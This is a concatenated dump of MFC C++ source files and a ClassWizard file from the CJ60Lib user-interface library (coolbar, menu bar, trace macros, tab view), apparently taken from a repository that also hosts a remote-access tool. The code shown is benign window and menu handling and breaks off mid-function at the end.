rbbi.lpText = (LPTSTR)lpText;
return InsertBand(iPos, &rbbi);
}
//////////////////
// Handle WM_CREATE: call virtual fn so derived class can create bands.
//
int CCoolBar::OnCreate(LPCREATESTRUCT lpcs)
{
return (CControlBar::OnCreate(lpcs)==-1 || !OnCreateBands()) ? -1 : 0;
}
//////////////////
// Standard UI handler updates any controls in the coolbar.
//
void CCoolBar::OnUpdateCmdUI(CFrameWnd* pTarget, BOOL bDisableIfNoHndler)
{
UpdateDialogControls(pTarget, bDisableIfNoHndler);
}
/////////////////
// These two functions are called by MFC to calculate the layout of
// the main frame. Since CCoolBar is not designed to be dynamic, the
// size is always fixed, and the same as the window size.
//
CSize CCoolBar::CalcDynamicLayout(int nLength, DWORD dwMode)
{
return CalcFixedLayout(dwMode & LM_STRETCH, dwMode & LM_HORZ);
}
CSize CCoolBar::CalcFixedLayout(BOOL bStretch, BOOL bHorz)
{
CRect rc;
GetWindowRect(&rc);
CSize sz(bHorz && bStretch ? 0x7FFF : rc.Width(),
!bHorz && bStretch ? 0x7FFF : rc.Height());
return sz;
}
//////////////////
// Handle RBN_HEIGHTCHANGE notification: pass to virtual fn w/nicer args.
//
void CCoolBar::OnHeightChange(NMHDR* pNMHDR, LRESULT* pRes)
{
CRect rc;
GetWindowRect(&rc);
OnHeightChange(rc);
*pRes = 0; // why not?
}
//////////////////
// Height changed: Default implementation does the right thing for MFC
// doc/view: notify parent frame by posting a WM_SIZE message. This will
// cause the frame to do RecalcLayout. The message must be posted, not sent,
// because the coolbar could send RBN_HEIGHTCHANGE while the user is sizing,
// which would be in the middle of a CFrame::RecalcLayout, and RecalcLayout
// doesn't let you re-enter it. Posting guarantees that CFrameWnd can finish
// any recalc it may be in the middle of *before* handling my posted WM_SIZE.
// Very confusing, but that's MFC for you.
//
void CCoolBar::OnHeightChange(const CRect& rcNew)
{
CWnd* pParent = GetParent();
CRect rc;
pParent->GetWindowRect(&rc);
pParent->PostMessage(WM_SIZE, 0, MAKELONG(rc.Width(),rc.Height()));
}
void CCoolBar::OnPaint()
{
Default(); // bypass CControlBar
}
BOOL CCoolBar::OnEraseBkgnd(CDC* pDC)
{
return (BOOL)Default(); // bypass CControlBar
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJ60Lib/CoolBar.cpp | C++ | asf20 | 6,219 |
; CLW file contains information for the MFC ClassWizard
[General Info]
Version=1
LastClass=CCJTabCtrlBar
LastTemplate=CDialog
NewFileInclude1=#include "stdafx.h"
NewFileInclude2=#include "cj60lib.h"
LastPage=0
ClassCount=21
Class1=CCJCaption
Class2=CCJControlBar
Class3=CCJDockBar
Class4=CCJExplorerBar
Class5=CCJFlatButton
Class6=CCJFlatComboBox
Class7=CCJFlatHeaderCtrl
Class8=CCJFrameWnd
Class9=CCJListCtrl
Class10=CCJListView
Class11=CCJMDIFrameWnd
Class12=CCJMiniDockFrameWnd
Class13=CCJOutlookBar
Class14=CCJPagerCtrl
Class15=CCJSearchEdit
Class16=CCJSizeDockBar
Class17=CCJTabCtrl
Class18=CCJTabCtrlBar
Class19=CCJToolBar
Class20=CHyperLink
Class21=CShellTree
ResourceCount=0
[CLS:CCJCaption]
Type=0
BaseClass=CStatic
HeaderFile=\Src\Include\CJCaption.h
ImplementationFile=CJCaption.cpp
LastObject=CCJCaption
[CLS:CCJControlBar]
Type=0
BaseClass=CControlBar
HeaderFile=\Src\Include\CJControlBar.h
ImplementationFile=CJControlBar.cpp
LastObject=CCJControlBar
Filter=W
VirtualFilter=WC
[CLS:CCJDockBar]
Type=0
BaseClass=CDockBar
HeaderFile=\Src\Include\CJDockBar.h
ImplementationFile=CJDockBar.cpp
[CLS:CCJExplorerBar]
Type=0
BaseClass=CCJControlBar
HeaderFile=\Src\Include\CJExplorerBar.h
ImplementationFile=CJExplorerBar.cpp
Filter=W
VirtualFilter=WC
LastObject=CCJExplorerBar
[CLS:CCJFlatButton]
Type=0
BaseClass=CButton
HeaderFile=\Src\Include\CJFlatButton.h
ImplementationFile=CJFlatButton.cpp
[CLS:CCJFlatComboBox]
Type=0
BaseClass=CComboBox
HeaderFile=\Src\Include\CJFlatComboBox.h
ImplementationFile=CJFlatComboBox.cpp
[CLS:CCJFlatHeaderCtrl]
Type=0
BaseClass=CHeaderCtrl
HeaderFile=\Src\Include\CJFlatHeaderCtrl.h
ImplementationFile=CJFlatHeaderCtrl.cpp
[CLS:CCJFrameWnd]
Type=0
BaseClass=CFrameWnd
HeaderFile=\Src\Include\CJFrameWnd.h
ImplementationFile=CJFrameWnd.cpp
Filter=T
VirtualFilter=fWC
[CLS:CCJListCtrl]
Type=0
BaseClass=CListCtrl
HeaderFile=\Src\Include\CJListCtrl.h
ImplementationFile=CJListCtrl.cpp
LastObject=CCJListCtrl
[CLS:CCJListView]
Type=0
BaseClass=CListView
HeaderFile=\Src\Include\CJListView.h
ImplementationFile=CJListView.cpp
LastObject=CCJListView
Filter=C
VirtualFilter=VWC
[CLS:CCJMDIFrameWnd]
Type=0
BaseClass=CMDIFrameWnd
HeaderFile=\Src\Include\CJMDIFrameWnd.h
ImplementationFile=CJMDIFrameWnd.cpp
[CLS:CCJMiniDockFrameWnd]
Type=0
BaseClass=CMiniDockFrameWnd
HeaderFile=\Src\Include\CJMiniDockFrameWnd.h
ImplementationFile=CJMiniDockFrameWnd.cpp
[CLS:CCJOutlookBar]
Type=0
BaseClass=CListBox
HeaderFile=\Src\Include\CJOutlookBar.h
ImplementationFile=CJOutlookBar.cpp
LastObject=CCJOutlookBar
Filter=W
VirtualFilter=bWC
[CLS:CCJPagerCtrl]
Type=0
BaseClass=CWnd
HeaderFile=\Src\Include\CJPagerCtrl.h
ImplementationFile=CJPagerCtrl.cpp
[CLS:CCJSearchEdit]
Type=0
BaseClass=CEdit
HeaderFile=\Src\Include\CJSearchEdit.h
ImplementationFile=CJSearchEdit.cpp
[CLS:CCJSizeDockBar]
Type=0
BaseClass=CDockBar
HeaderFile=\Src\Include\CJSizeDockBar.h
ImplementationFile=CJSizeDockBar.cpp
Filter=W
LastObject=CCJSizeDockBar
VirtualFilter=DC
[CLS:CCJTabCtrl]
Type=0
BaseClass=CTabCtrl
HeaderFile=CJTabctrlBar.cpp
ImplementationFile=CJTabctrlBar.cpp
[CLS:CCJTabCtrlBar]
Type=0
BaseClass=CCJControlBar
HeaderFile=\Src\Include\CJTabCtrlBar.h
ImplementationFile=CJTabctrlBar.cpp
Filter=W
VirtualFilter=WC
LastObject=CCJTabCtrlBar
[CLS:CCJToolBar]
Type=0
BaseClass=CFlatToolBar
HeaderFile=\Src\Include\CJToolBar.h
ImplementationFile=CJToolBar.cpp
[CLS:CHyperLink]
Type=0
BaseClass=CStatic
HeaderFile=\Src\Include\hyperlink.h
ImplementationFile=hyperlink.cpp
[CLS:CShellTree]
Type=0
BaseClass=CTreeCtrl
HeaderFile=\Src\Include\ShellTree.h
ImplementationFile=ShellTree.cpp
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/CJ60Lib/CJ60Lib.clw | Clarion | asf20 | 3,805 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
// CMenuBar implements menu bar for MFC. See MenuBar.h for how
// to use, and also the MBTest sample application.
//
#include "StdAfx.h"
#include "MenuBar.h"
const UINT MB_SET_MENU_NULL = WM_USER + 1100;
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
// if you want to see extra TRACE diagnostics, set CMenuBar::bTRACE = TRUE
BOOL CMenuBar::bTRACE = FALSE;
#ifdef _DEBUG
#define MBTRACEFN \
CTraceFn __fooble; \
if (CMenuBar::bTRACE)\
TRACE
#define MBTRACE \
if (CMenuBar::bTRACE)\
TRACE
#else
#define MBTRACEFN TRACE
#define MBTRACE TRACE
#endif
IMPLEMENT_DYNAMIC(CMenuBar, CCJToolBar)
BEGIN_MESSAGE_MAP(CMenuBar, CCJToolBar)
ON_WM_CREATE()
ON_WM_LBUTTONDOWN()
ON_WM_MOUSEMOVE()
ON_WM_SIZE()
ON_UPDATE_COMMAND_UI_RANGE(0, 256, OnUpdateMenuButton)
ON_MESSAGE(MB_SET_MENU_NULL, OnSetMenuNull)
END_MESSAGE_MAP()
CMenuBar::CMenuBar()
{
if (iVerComCtl32 <= 470)
AfxMessageBox(_T("Warning: This program requires comctl32.dll version 4.71 or greater."));
m_iTrackingState = TRACK_NONE; // initial state: not tracking
m_iPopupTracking = m_iNewPopup = -1; // invalid
m_hmenu = NULL;
m_bAutoRemoveFrameMenu = TRUE; // set frame's menu to NULL
}
CMenuBar::~CMenuBar()
{
}
//////////////////
// Menu bar was created: install hook into owner window
//
int CMenuBar::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
if (CCJToolBar::OnCreate(lpCreateStruct)==-1)
return -1;
UpdateFont();
CWnd* pFrame = GetOwner();
ASSERT_VALID(pFrame);
m_frameHook.Install(this, *pFrame);
return 0; // OK
}
//////////////////
// Set menu bar font from current system menu font
//
void CMenuBar::UpdateFont()
{
static CFont font;
NONCLIENTMETRICS info;
info.cbSize = sizeof(info);
SystemParametersInfo(SPI_GETNONCLIENTMETRICS, sizeof(info), &info, 0);
if ((HFONT)font)
font.DeleteObject();
VERIFY(font.CreateFontIndirect(&info.lfMenuFont));
SetFont(&font);
}
//////////////////
// The reason for having this is so MFC won't automatically disable
// the menu buttons. Assumes < 256 top-level menu items. The ID of
// the ith menu button is i. IOW, the index and ID are the same.
//
void CMenuBar::OnUpdateMenuButton(CCmdUI* pCmdUI)
{
ASSERT_VALID(this);
if (IsValidButton(pCmdUI->m_nID))
pCmdUI->Enable(TRUE);
}
//////////////////
// Recompute layout of menu bar
//
void CMenuBar::RecomputeMenuLayout()
{
SetWindowPos(NULL, 0, 0, 0, 0, SWP_FRAMECHANGED | SWP_NOACTIVATE |
SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER);
}
//////////////////
// Make frame recalculate control bar sizes after menu change
//
void CMenuBar::RecomputeToolbarSize()
{
// Force toolbar to recompute size
CFrameWnd* pFrame = (CFrameWnd*)GetOwner();
ASSERT_VALID(pFrame);
ASSERT(pFrame->IsFrameWnd());
pFrame->RecalcLayout();
// floating frame
pFrame = GetParentFrame();
if (pFrame->IsKindOf(RUNTIME_CLASS(CMiniFrameWnd)))
pFrame->RecalcLayout();
}
//////////////////
// Set tracking state: none, button, or popup
//
void CMenuBar::SetTrackingState(TRACKINGSTATE iState, int iButton)
{
ASSERT_VALID(this);
if (iState != m_iTrackingState) {
if (iState == TRACK_NONE)
iButton = -1;
#ifdef _DEBUG
static LPCTSTR StateName[] = { _T("NONE"), _T("BUTTON"), _T("POPUP") };
MBTRACE(_T("CMenuBar::SetTrackingState to %s, button=%d\n"),
StateName[iState], iButton);
#endif
SetHotItem(iButton); // could be none (-1)
if (iState==TRACK_POPUP) {
// set related state stuff
m_bEscapeWasPressed = FALSE; // assume Esc key not pressed
m_bProcessRightArrow = // assume left/right arrow..
m_bProcessLeftArrow = TRUE; // ..will move to prev/next popup
m_iPopupTracking = iButton; // which popup I'm tracking
}
m_iTrackingState = iState;
}
}
//////////////////
// Toggle state from home state to button-tracking and back
//
void CMenuBar::ToggleTrackButtonMode()
{
ASSERT_VALID(this);
if (m_iTrackingState == TRACK_NONE || m_iTrackingState == TRACK_BUTTON) {
SetTrackingState(m_iTrackingState == TRACK_NONE ?
TRACK_BUTTON : TRACK_NONE, 0);
}
}
//////////////////
// Get button index before/after a given button
//
int CMenuBar::GetNextOrPrevButton(int iButton, BOOL bPrev)
{
ASSERT_VALID(this);
if (bPrev) {
iButton--;
if (iButton <0)
iButton = GetButtonCount() - 1;
} else {
iButton++;
if (iButton >= GetButtonCount())
iButton = 0;
}
return iButton;
}
/////////////////
// This is to correct a bug in the system toolbar control: TB_HITTEST only
// looks at the buttons, not the size of the window. So it returns a button
// hit even if that button is totally outside the size of the window!
//
int CMenuBar::HitTest(CPoint p) const
{
int iHit = CCJToolBar::HitTest(p);
if (iHit>0) {
CRect rc;
GetClientRect(&rc);
if (!rc.PtInRect(p)) // if point is outside window
iHit = -1; // can't be a hit!
}
return iHit;
}
//////////////////
// Load a different menu. The HMENU must not belong to any CMenu,
// and you must free it when you're done. Returns old menu.
//
HMENU CMenuBar::LoadMenu(HMENU hmenu)
{
MBTRACEFN(_T("CMenuBar::LoadMenu\n"));
UINT iPrevID=(UINT)-1;
ASSERT(::IsMenu(hmenu));
ASSERT_VALID(this);
if (m_bAutoRemoveFrameMenu) {
CFrameWnd* pFrame = GetParentFrame();
if (::GetMenu(*pFrame)!=NULL) {
// I would like to set the frame's menu to NULL now, but if I do, MFC
// gets all upset: it calls GetMenu and expects to have a real menu.
// So Instead, I post a message to myself. Because the message is
// posted, not sent, I won't process it until MFC is done with all its
// initialization stuff. (MFC needs to set CFrameWnd::m_hMenuDefault
// to the menu, which it gets by calling GetMenu.)
//
PostMessage(MB_SET_MENU_NULL, (WPARAM)pFrame->GetSafeHwnd());
}
}
HMENU hOldMenu = m_hmenu;
m_hmenu = hmenu;
// delete existing buttons
int nCount = GetButtonCount();
while (nCount--) {
VERIFY(DeleteButton(0));
}
SetImageList(NULL);
// SetButtonSize(CSize(0,0)); // This barfs in VC 6.0
DWORD dwStyle = GetStyle();
BOOL bModifyStyle = ModifyStyle(0, TBSTYLE_FLAT|TBSTYLE_TRANSPARENT);
// add text buttons
UINT nMenuItems = hmenu ? ::GetMenuItemCount(hmenu) : 0;
for (UINT i=0; i < nMenuItems; i++) {
TCHAR name[64];
memset(name, 0, sizeof(name)); // guarantees double-0 at end
if (::GetMenuString(hmenu, i, name, countof(name)-1, MF_BYPOSITION)) {
TBBUTTON tbb;
memset(&tbb, 0, sizeof(tbb));
tbb.idCommand = ::GetMenuItemID(hmenu, i);
// Because the toolbar is too brain-damaged to know if it already has
// a string, and is also too brain-dead to even let you delete strings,
// I have to determine if each string has been added already. Otherwise
// in a MDI app, as the menus are repeatedly switched between doc and
// no-doc menus, I will keep adding strings until somebody runs out of
// memory. Sheesh!
//
int iString = -1;
for (int j=0; j<m_arStrings.GetSize(); j++) {
if (m_arStrings[j] == name) {
iString = j; // found it
break;
}
}
if (iString <0) {
// string not found: add it
iString = AddStrings(name);
m_arStrings.SetAtGrow(iString, name);
}
tbb.iString = iString;
tbb.fsState = TBSTATE_ENABLED;
tbb.fsStyle = TBSTYLE_AUTOSIZE;
tbb.iBitmap = -1;
tbb.idCommand = i;
VERIFY(AddButtons(1, &tbb));
}
}
if (bModifyStyle)
SetWindowLong(m_hWnd, GWL_STYLE, dwStyle);
if (hmenu) {
AutoSize(); // size buttons
RecomputeToolbarSize(); // and menubar itself
}
return hOldMenu;
}
//////////////////
// Load menu from resource
//
HMENU CMenuBar::LoadMenu(LPCSTR lpszMenuName)
{
return LoadMenu(::LoadMenu(AfxGetResourceHandle(), lpszMenuName));
}
//////////////////
// Set the frame's menu to NULL. WPARAM is HWND of frame.
//
LRESULT CMenuBar::OnSetMenuNull(WPARAM wp, LPARAM lp)
{
HWND hwnd = (HWND)wp;
ASSERT(::IsWindow(hwnd));
::SetMenu(hwnd, NULL);
return 0;
}
//////////////////
// Handle mouse click: if clicked on button, press it
// and go into main menu loop.
//
void CMenuBar::OnLButtonDown(UINT nFlags, CPoint pt)
{
MBTRACEFN(_T("CMenuBar::OnLButtonDown\n"));
ASSERT_VALID(this);
int iButton = HitTest(pt);
if (iButton >= 0 && iButton<GetButtonCount()) // if mouse is over a button:
TrackPopup(iButton); // track it
else // otherwise:
CCJToolBar::OnLButtonDown(nFlags, pt); // pass it on...
}
//////////////////
// Handle mouse movement
//
void CMenuBar::OnMouseMove(UINT nFlags, CPoint pt)
{
ASSERT_VALID(this);
if (m_iTrackingState==TRACK_BUTTON) {
// In button-tracking state, ignore mouse-over to non-button area.
// Normally, the toolbar would de-select the hot item in this case.
//
// Only change the hot item if the mouse has actually moved.
// This is necessary to avoid a bug where the user moves to a different
// button from the one the mouse is over, and presses arrow-down to get
// the menu, then Esc to cancel it. Without this code, the button will
// jump to wherever the mouse is--not right.
int iHot = HitTest(pt);
if (IsValidButton(iHot) && pt != m_ptMouse)
SetHotItem(iHot);
return; // don't let toolbar get it
}
m_ptMouse = pt; // remember point
CCJToolBar::OnMouseMove(nFlags, pt);
}
//////////////////
// Window was resized: need to recompute layout
//
void CMenuBar::OnSize(UINT nType, int cx, int cy)
{
CCJToolBar::OnSize(nType, cx, cy);
RecomputeMenuLayout();
}
//////////////////
// Bar style changed: eg, moved from left to right dock or floating
//
void CMenuBar::OnBarStyleChange(DWORD dwOldStyle, DWORD dwNewStyle)
{
CCJToolBar::OnBarStyleChange(dwOldStyle, dwNewStyle);
RecomputeMenuLayout();
}
/////////////////
// When user selects a new menu item, note whether it has a submenu
// and/or parent menu, so I know whether right/left arrow should
// move to the next popup.
//
void CMenuBar::OnMenuSelect(HMENU hmenu, UINT iItem)
{
if (m_iTrackingState > 0) {
// process right-arrow iff item is NOT a submenu
m_bProcessRightArrow = (::GetSubMenu(hmenu, iItem) == NULL);
// process left-arrow iff curent menu is one I'm tracking
m_bProcessLeftArrow = hmenu==m_hMenuTracking;
}
}
// globals--yuk! But no other way using windows hooks.
//
static CMenuBar* g_pMenuBar = NULL;
static HHOOK g_hMsgHook = NULL;
////////////////
// Menu filter hook just passes to virtual CMenuBar function
//
LRESULT CALLBACK
CMenuBar::MenuInputFilter(int code, WPARAM wp, LPARAM lp)
{
return (code==MSGF_MENU && g_pMenuBar &&
g_pMenuBar->OnMenuInput(*((MSG*)lp))) ? TRUE
: CallNextHookEx(g_hMsgHook, code, wp, lp);
}
//////////////////
// Handle menu input event: Look for left/right to change popup menu,
// mouse movement over over a different menu button for "hot" popup effect.
// Returns TRUE if message handled (to eat it).
//
BOOL CMenuBar::OnMenuInput(MSG& m)
{
ASSERT_VALID(this);
ASSERT(m_iTrackingState == TRACK_POPUP); // sanity check
int msg = m.message;
if (msg==WM_KEYDOWN) {
// handle left/right-arow.
TCHAR vkey = m.wParam;
if ((vkey == VK_LEFT && m_bProcessLeftArrow) ||
(vkey == VK_RIGHT && m_bProcessRightArrow)) {
MBTRACE(_T("CMenuBar::OnMenuInput: handle VK_LEFT/RIGHT\n"));
CancelMenuAndTrackNewOne(
GetNextOrPrevButton(m_iPopupTracking, vkey==VK_LEFT));
return TRUE; // eat it
} else if (vkey == VK_ESCAPE) {
m_bEscapeWasPressed = TRUE; // (menu will abort itself)
}
} else if (msg==WM_MOUSEMOVE || msg==WM_LBUTTONDOWN) {
// handle mouse move or click
CPoint pt = m.lParam;
ScreenToClient(&pt);
if (msg == WM_MOUSEMOVE) {
if (pt != m_ptMouse) {
int iButton = HitTest(pt);
if (IsValidButton(iButton) && iButton != m_iPopupTracking) {
// user moved mouse over a different button: track its popup
CancelMenuAndTrackNewOne(iButton);
}
m_ptMouse = pt;
}
} else if (msg == WM_LBUTTONDOWN) {
if (HitTest(pt) == m_iPopupTracking) {
// user clicked on same button I am tracking: cancel menu
MBTRACE(_T("CMenuBar:OnMenuInput: handle mouse click to exit popup\n"));
CancelMenuAndTrackNewOne(-1);
return TRUE; // eat it
}
}
}
return FALSE; // not handled
}
//////////////////
// Cancel the current popup menu by posting WM_CANCELMODE, and track a new
// menu. iNewPopup is which new popup to track (-1 to quit).
//
void CMenuBar::CancelMenuAndTrackNewOne(int iNewPopup)
{
MBTRACE(_T("CMenuBar::CancelMenuAndTrackNewOne: %d\n"), iNewPopup);
ASSERT_VALID(this);
if (iNewPopup != m_iPopupTracking) {
GetOwner()->PostMessage(WM_CANCELMODE); // quit menu loop
m_iNewPopup = iNewPopup; // go to this popup (-1 = quit)
}
}
//////////////////
// Track the popup submenu associated with the i'th button in the menu bar.
// This fn actually goes into a loop, tracking different menus until the user
// selects a command or exits the menu.
//
void CMenuBar::TrackPopup(int iButton)
{
MBTRACE(_T("CMenuBar::TrackPopup %d\n"), iButton);
ASSERT_VALID(this);
ASSERT(m_hmenu);
CMenu menu;
menu.Attach(m_hmenu);
int nMenuItems = menu.GetMenuItemCount();
while (iButton >= 0) { // while user selects another menu
m_iNewPopup = -1; // assume quit after this
PressButton(iButton, TRUE); // press the button
UpdateWindow(); // and force repaint now
// post a simulated arrow-down into the message stream
// so TrackPopupMenu will read it and move to the first item
GetOwner()->PostMessage(WM_KEYDOWN, VK_DOWN, 1);
GetOwner()->PostMessage(WM_KEYUP, VK_DOWN, 1);
SetTrackingState(TRACK_POPUP, iButton); // enter tracking state
// Need to install a hook to trap menu input in order to make
// left/right-arrow keys and "hot" mouse tracking work.
//
ASSERT(g_pMenuBar == NULL);
g_pMenuBar = this;
ASSERT(g_hMsgHook == NULL);
g_hMsgHook = SetWindowsHookEx(WH_MSGFILTER,
MenuInputFilter, NULL, ::GetCurrentThreadId());
// get submenu and display it beneath button
TPMPARAMS tpm;
CRect rcButton;
GetRect(iButton, rcButton);
ClientToScreen(&rcButton);
CPoint pt = ComputeMenuTrackPoint(rcButton, tpm);
HMENU hMenuPopup = ::GetSubMenu(m_hmenu, iButton);
ASSERT(hMenuPopup);
BOOL bRet = TrackPopupMenuEx(hMenuPopup,
TPM_LEFTALIGN|TPM_LEFTBUTTON|TPM_VERTICAL,
pt.x, pt.y, GetOwner()->GetSafeHwnd(), &tpm);
// uninstall hook.
::UnhookWindowsHookEx(g_hMsgHook);
g_hMsgHook = NULL;
g_pMenuBar = NULL;
PressButton(iButton, FALSE); // un-press button
UpdateWindow(); // and force repaint now
// If the user exited the menu loop by pressing Escape,
// return to track-button state; otherwise normal non-tracking state.
SetTrackingState(m_bEscapeWasPressed ?
TRACK_BUTTON : TRACK_NONE, iButton);
// If the user moved mouse to a new top-level popup (eg from File to
// Edit button), I will have posted a WM_CANCELMODE to quit
// the first popup, and set m_iNewPopup to the new menu to show.
// Otherwise, m_iNewPopup will be -1 as set above.
// So just set iButton to the next popup menu and keep looping...
iButton = m_iNewPopup;
}
menu.Detach();
}
//////////////////
// Given button rectangle, compute point and "exclude rect" for
// TrackPopupMenu, based on current docking style, so that the menu will
// appear always inside the window.
//
CPoint CMenuBar::ComputeMenuTrackPoint(const CRect& rcButn, TPMPARAMS& tpm)
{
tpm.cbSize = sizeof(tpm);
DWORD dwStyle = m_dwStyle;
CPoint pt;
CRect& rcExclude = (CRect&)tpm.rcExclude;
rcExclude = rcButn;
::GetWindowRect(::GetDesktopWindow(), &rcExclude);
switch (dwStyle & CBRS_ALIGN_ANY) {
case CBRS_ALIGN_BOTTOM:
pt = CPoint(rcButn.left, rcButn.top);
rcExclude.top = rcButn.top;
break;
case CBRS_ALIGN_LEFT:
pt = CPoint(rcButn.right, rcButn.top);
rcExclude.right = rcButn.right;
break;
case CBRS_ALIGN_RIGHT:
pt = CPoint(rcButn.left, rcButn.top);
rcExclude.left = rcButn.left;
break;
default: // case CBRS_ALIGN_TOP:
pt = CPoint(rcButn.left, rcButn.bottom);
break;
}
return pt;
}
//////////////////
// This function translates special menu keys and mouse actions.
// You must call it from your frame's PreTranslateMessage.
//
BOOL CMenuBar::TranslateFrameMessage(MSG* pMsg)
{
ASSERT_VALID(this);
ASSERT(pMsg);
UINT msg = pMsg->message;
if (WM_LBUTTONDOWN <= msg && msg <= WM_MOUSELAST) {
if (pMsg->hwnd != m_hWnd && m_iTrackingState > 0) {
// user clicked outside menu bar: exit tracking mode
MBTRACE(_T("CMenuBar::TranslateFrameMessage: user clicked outside menu bar: end tracking\n"));
SetTrackingState(TRACK_NONE);
}
} else if (msg==WM_SYSKEYDOWN || msg==WM_SYSKEYUP || msg==WM_KEYDOWN) {
BOOL bAlt = HIWORD(pMsg->lParam) & KF_ALTDOWN; // Alt key down
TCHAR vkey = pMsg->wParam; // get virt key
if (vkey==VK_MENU ||
(vkey==VK_F10 && !((GetKeyState(VK_SHIFT) & 0x80000000) ||
(GetKeyState(VK_CONTROL) & 0x80000000) || bAlt))) {
// key is VK_MENU or F10 with no alt/ctrl/shift: toggle menu mode
if (msg==WM_SYSKEYUP) {
MBTRACE(_T("CMenuBar::TranslateFrameMessage: handle menu key\n"));
ToggleTrackButtonMode();
}
return TRUE;
} else if ((msg==WM_SYSKEYDOWN || msg==WM_KEYDOWN)) {
if (m_iTrackingState == TRACK_BUTTON) {
// I am tracking: handle left/right/up/down/space/Esc
switch (vkey) {
case VK_LEFT:
case VK_RIGHT:
// left or right-arrow: change hot button if tracking buttons
MBTRACE(_T("CMenuBar::TranslateFrameMessage: VK_LEFT/RIGHT\n"));
SetHotItem(GetNextOrPrevButton(GetHotItem(), vkey==VK_LEFT));
return TRUE;
case VK_SPACE: // (personally, I like SPACE to enter menu too)
case VK_UP:
case VK_DOWN:
// up or down-arrow: move into current menu, if any
MBTRACE(_T("CMenuBar::TranslateFrameMessage: VK_UP/DOWN/SPACE\n"));
TrackPopup(GetHotItem());
return TRUE;
case VK_ESCAPE:
// escape key: exit tracking mode
MBTRACE(_T("CMenuBar::TranslateFrameMessage: VK_ESCAPE\n"));
SetTrackingState(TRACK_NONE);
return TRUE;
}
}
// Handle alphanumeric key: invoke menu. Note that Alt-X
// chars come through as WM_SYSKEYDOWN, plain X as WM_KEYDOWN.
if ((bAlt || m_iTrackingState == TRACK_BUTTON) && isalnum(vkey)) {
// Alt-X, or else X while in tracking mode
UINT nID;
if (MapAccelerator(vkey, nID)) {
MBTRACE(_T("CMenuBar::TranslateFrameMessage: map acclerator\n"));
TrackPopup(nID); // found menu mnemonic: track it
return TRUE; // handled
} else if (m_iTrackingState==TRACK_BUTTON && !bAlt) {
MessageBeep(0);
return TRUE;
}
}
// Default for any key not handled so far: return to no-menu state
if (m_iTrackingState > 0) {
MBTRACE(_T("CMenuBar::TranslateFrameMessage: unknown key, stop tracking\n"));
SetTrackingState(TRACK_NONE);
}
}
}
return FALSE; // not handled, pass along
}
#ifdef _DEBUG
void CMenuBar::AssertValid() const
{
CCJToolBar::AssertValid();
ASSERT(m_hmenu==NULL || ::IsMenu(m_hmenu));
ASSERT(TRACK_NONE<=m_iTrackingState && m_iTrackingState<=TRACK_POPUP);
m_frameHook.AssertValid();
}
void CMenuBar::Dump(CDumpContext& dc) const
{
CCJToolBar::Dump(dc);
}
#endif
//////////////////////////////////////////////////////////////////
// CMenuBarFrameHook is used to trap menu-related messages sent to the owning
// frame. The same class is also used to trap messages sent to the MDI client
// window in an MDI app. I should really use two classes for this,
// but it uses less code to chare the same class. Note however: there
// are two different INSTANCES of CMenuBarFrameHook in CMenuBar: one for
// the frame and one for the MDI client window.
//
CMenuBarFrameHook::CMenuBarFrameHook()
{
}
CMenuBarFrameHook::~CMenuBarFrameHook()
{
HookWindow((HWND)NULL); // (unhook)
}
//////////////////
// Install hook to trap window messages sent to frame or MDI client.
//
BOOL CMenuBarFrameHook::Install(CMenuBar* pMenuBar, HWND hWndToHook)
{
ASSERT_VALID(pMenuBar);
m_pMenuBar = pMenuBar;
return HookWindow(hWndToHook);
}
//////////////////////////////////////////////////////////////////
// Trap frame/MDI client messages specific to menubar.
//
LRESULT CMenuBarFrameHook::WindowProc(UINT msg, WPARAM wp, LPARAM lp)
{
CMenuBar& mb = *m_pMenuBar;
switch (msg) {
// The following messages are trapped for the frame window
case WM_SYSCOLORCHANGE:
mb.UpdateFont();
break;
case WM_MENUSELECT:
mb.OnMenuSelect((HMENU)lp, (UINT)LOWORD(wp));
break;
}
return CSubclassWnd::WindowProc(msg, wp, lp);
}
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/MenuBar.cpp | C++ | asf20 | 21,399 |
////////////////////////////////////////////////////////////////
// Copyright 1998 Paul DiLascia
// If this code works, it was written by Paul DiLascia.
// If not, I don't know who wrote it.
//
#ifndef _GLOBALS_H
#define _GLOBALS_H
#define countof(x) (sizeof(x)/sizeof(x[0]))
#ifdef _DEBUG
//////////////////
// TRACEFN is a macro that lets you generate indented TRACE output so you
// can see the call stack. To use it:
//
// SomeFn(...)
// {
// TRACEFN("Entering SomeFn...\n");
// .
// .
// }
//
// Now all trace output after TRACEFN will be indented one space, until SomeFn
// returns. You can put TRACEFN in multiple functions to see indented trace
// output. For an example of this, see the HOOK sample program.
//
// NOTE: YOU MUST NOT USE TRACEFN IN A ONE-LINE IF STATEMENT!
// This will fail:
//
// if (foo)
// TRACEFN(...)
//
// Instead, you must enclose the TRACE in squiggle-brackets
//
// if (foo) {
// TRACEFN(...)
// }
//
#define TRACEFN CTraceFn __fooble; TRACE
//
// This class implements TRACEFN. Don't ever use directly!
//
class CTraceFn {
private:
static int nIndent; // current indent level
friend void AFX_CDECL AfxTrace(LPCTSTR lpszFormat, ...);
public:
CTraceFn() { nIndent++; } // constructor bumps indent
~CTraceFn() { nIndent--; } // destructor restores it
};
#else // NOT _DEBUG
#define TRACEFN TRACE
#endif // _DEBUG
#endif // _GLOBALS_H
| 07321-rat | trunk/gh0st/CJ60Lib/CJ60Lib/Globals.h | C++ | asf20 | 1,456 |
////////////////////////////////////////////////////////////////
// Copyright 1999 Mike Manzo
// Class: CCJTabView
// ==========================================================================
// HISTORY:
// ==========================================================================
// 1.00 14 Feb 1999 - Initial release.
// ==========================================================================
//
/////////////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "CJTabView.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CCJTabView
IMPLEMENT_DYNCREATE(CCJTabView, CCtrlView)
CCJTabView::CCJTabView() : CCtrlView(_T("SysTabControl32"),
TCS_TOOLTIPS | WS_VISIBLE | WS_CHILD | WS_BORDER)
{
